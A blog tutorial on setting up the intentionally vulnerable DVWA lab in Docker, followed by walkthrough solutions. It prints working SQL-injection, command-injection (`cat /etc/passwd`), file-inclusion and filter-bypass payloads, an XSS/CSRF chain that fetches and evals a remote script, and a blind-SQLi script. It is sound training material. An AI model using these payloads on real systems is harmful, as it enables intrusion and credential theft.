- Published on
Complete Guide to Setting Up DVWA and Mastering Web Vulnerabilities
- Authors
- Name
- Avasdream
- @avasdream_
Complete Guide to Setting Up DVWA and Mastering Web Vulnerabilities
The Damn Vulnerable Web Application (DVWA) is an intentionally vulnerable PHP/MySQL web application designed to help security professionals, developers, and students learn about web application security in a controlled environment. This guide will walk you through setting up DVWA using Docker and provide practical solutions for common web vulnerabilities.
⚠️ WARNING: DVWA is intentionally vulnerable. Never deploy it on public servers or production environments.
Getting Started: Docker Installation
Installing Docker
Before we can run DVWA, you'll need Docker installed on your system. Docker provides a consistent environment across different operating systems.
For detailed installation instructions, visit: https://docs.docker.com/get-started/get-docker/
Setting Up DVWA
1. Run the DVWA Container
Once Docker is installed, open your terminal or command prompt and run:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
This command will:
- Download the DVWA image (first time only)
- Start the container
- Map port 80 from the container to your local port 80
2. Access DVWA
Open your web browser and navigate to:
http://localhost
3. Initialize the Database
You'll see the DVWA setup page. Click the "Create / Reset Database" button to generate the necessary database configuration.
4. Login
Use the default credentials:
- Username:
admin
- Password:
password
5. Set Difficulty Level
Navigate to "DVWA Security" in the left menu to change the difficulty level. The default is "Impossible" - start with "Low" for learning purposes.
Understanding DVWA Difficulty Levels
DVWA offers four difficulty levels for each vulnerability:
- Low: No security measures - basic exploitation
- Medium: Some filtering/validation - requires bypassing
- High: More sophisticated protection - advanced techniques needed
- Impossible: Properly secured - demonstrates correct implementation
Web Vulnerability Solutions by Difficulty
Let's explore practical solutions for common web vulnerabilities, starting from beginner to advanced levels.
🔴 Low Difficulty Solutions
Perfect for beginners to understand basic attack vectors.
SQL Injection (Low)
Vulnerability: The application directly concatenates user input into SQL queries without validation.
Target: User ID input field
Source Code Analysis:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
Solution 1 - View All Records:
' OR 1=1 --
This payload creates the query:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 -- ';
Solution 2 - Extract Password Hashes:
' UNION SELECT first_name,password FROM users --
Result: Displays all user password hashes that can be cracked using tools like Hashcat or John the Ripper.
Command Injection (Low)
Vulnerability: User input is directly executed as system commands.
Target: IP address ping functionality
Payload:
127.0.0.1 ; whoami ; cat /etc/passwd
Result: Executes multiple commands, revealing system information and user accounts.
File Inclusion (Low)
Vulnerability: Application includes files based on unvalidated user input.
Target: Page parameter in URL
Solution 1 - Local File Inclusion:
http:/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd
Solution 2 - PHP Code Disclosure:
http:/DVWA/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../../../../var/www/html/hackable/flags/fi.php
🟡 Medium Difficulty Solutions
Introduces basic filtering that can be bypassed with clever techniques.
SQL Injection (Medium)
Changes: Adds mysql_real_escape_string()
and removes quotes around the ID parameter.
Bypass: Since the ID isn't enclosed in quotes, escape string filtering doesn't matter.
Payload:
1 OR 1=1 --
Password Extraction:
1 UNION SELECT first_name,password FROM users --
Command Injection (Medium)
Changes: Replaces &&
and ;
with empty strings (but only once, not recursively).
Bypass 1 - Use Alternative Operators:
127.0.0.1 | whoami
Bypass 2 - Double Encoding:
127.0.0.1 ;; whoami
(After filtering: 127.0.0.1 ; whoami
)
File Inclusion (Medium)
Changes: Removes http://
, https://
, ../
, and ..\
from input.
Bypass - Non-Recursive Filtering:
....//....//....//....//....//etc/passwd
After filtering becomes: ../../../../../etc/passwd
🔶 High Difficulty Solutions
Requires advanced techniques and creative bypasses.
Command Injection (High)
Changes: Filters |
(pipe with space) but not |
without space.
Bypass:
127.0.0.1 |whoami
File Inclusion (High)
Changes: Uses fnmatch()
to only allow files starting with "file".
Bypass 1 - Path Traversal:
file/../../../../../../../etc/passwd
Bypass 2 - File Protocol:
file:///etc/passwd
file:///var/www/html/hackable/flags/fi.php
CSRF (High)
Changes: Implements anti-CSRF tokens that regenerate with each request.
Advanced Bypass - XSS + CSRF Chain:
- JavaScript Payload:
var newpass = 'test'
var xhr = new XMLHttpRequest()
xhr.open('GET', 'http://localhost/DVWA/vulnerabilities/csrf/', false)
xhr.onload = function () {
var doc = new DOMParser().parseFromString(this.responseText, 'text/xml')
var csrf = doc.getElementsByName('user_token')[0].getAttribute('value')
var xhr2 = new XMLHttpRequest()
xhr2.open(
'GET',
`http://localhost/DVWA/vulnerabilities/csrf/?password_new=${newpass}&password_conf=${newpass}&Change=Change&user_token=${csrf}`,
false
)
xhr2.send(null)
}
xhr.send(null)
- XSS Delivery Vector:
<img
src="#"
onerror="var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:8000/high.js', false); xhr.onload = function () {eval(this[atob('cmVzcG9uc2VUZXh0')])}; xhr.send(null); "
/>
Advanced Techniques
Blind SQL Injection
When applications don't return query results, use Boolean-based techniques:
Length Discovery:
1' AND (select 'x' from users where first_name='admin' and LENGTH(password) > 31)='x' #
Character-by-Character Extraction:
1' AND (select substring(password, 1, 1) from users where first_name='admin')='5' #
Automation Scripts
For complex attacks like Blind SQL Injection, automation is essential:
import requests
def sql_injection_blind(url, payload):
response = requests.get(url + payload)
return "User ID exists" in response.text
# Extract password length
for length in range(1, 50):
payload = f"1' AND LENGTH((SELECT password FROM users WHERE username='admin'))={length}#"
if sql_injection_blind(target_url, payload):
print(f"Password length: {length}")
break
Conclusion
DVWA provides an excellent platform for learning web application security in a controlled environment. By progressing through the difficulty levels, you'll develop a understanding of common vulnerabilities and how to exploit them. More importantly, you'll learn how to properly secure applications against these attacks.
Remember: The goal isn't just to break things, but to understand how to build secure applications that protect users and data.
Happy learning, and stay secure! 🔒
For more advanced penetration testing techniques and security resources, consider exploring platforms like HackTheBox, TryHackMe, and PortSwigger's Web Security Academy.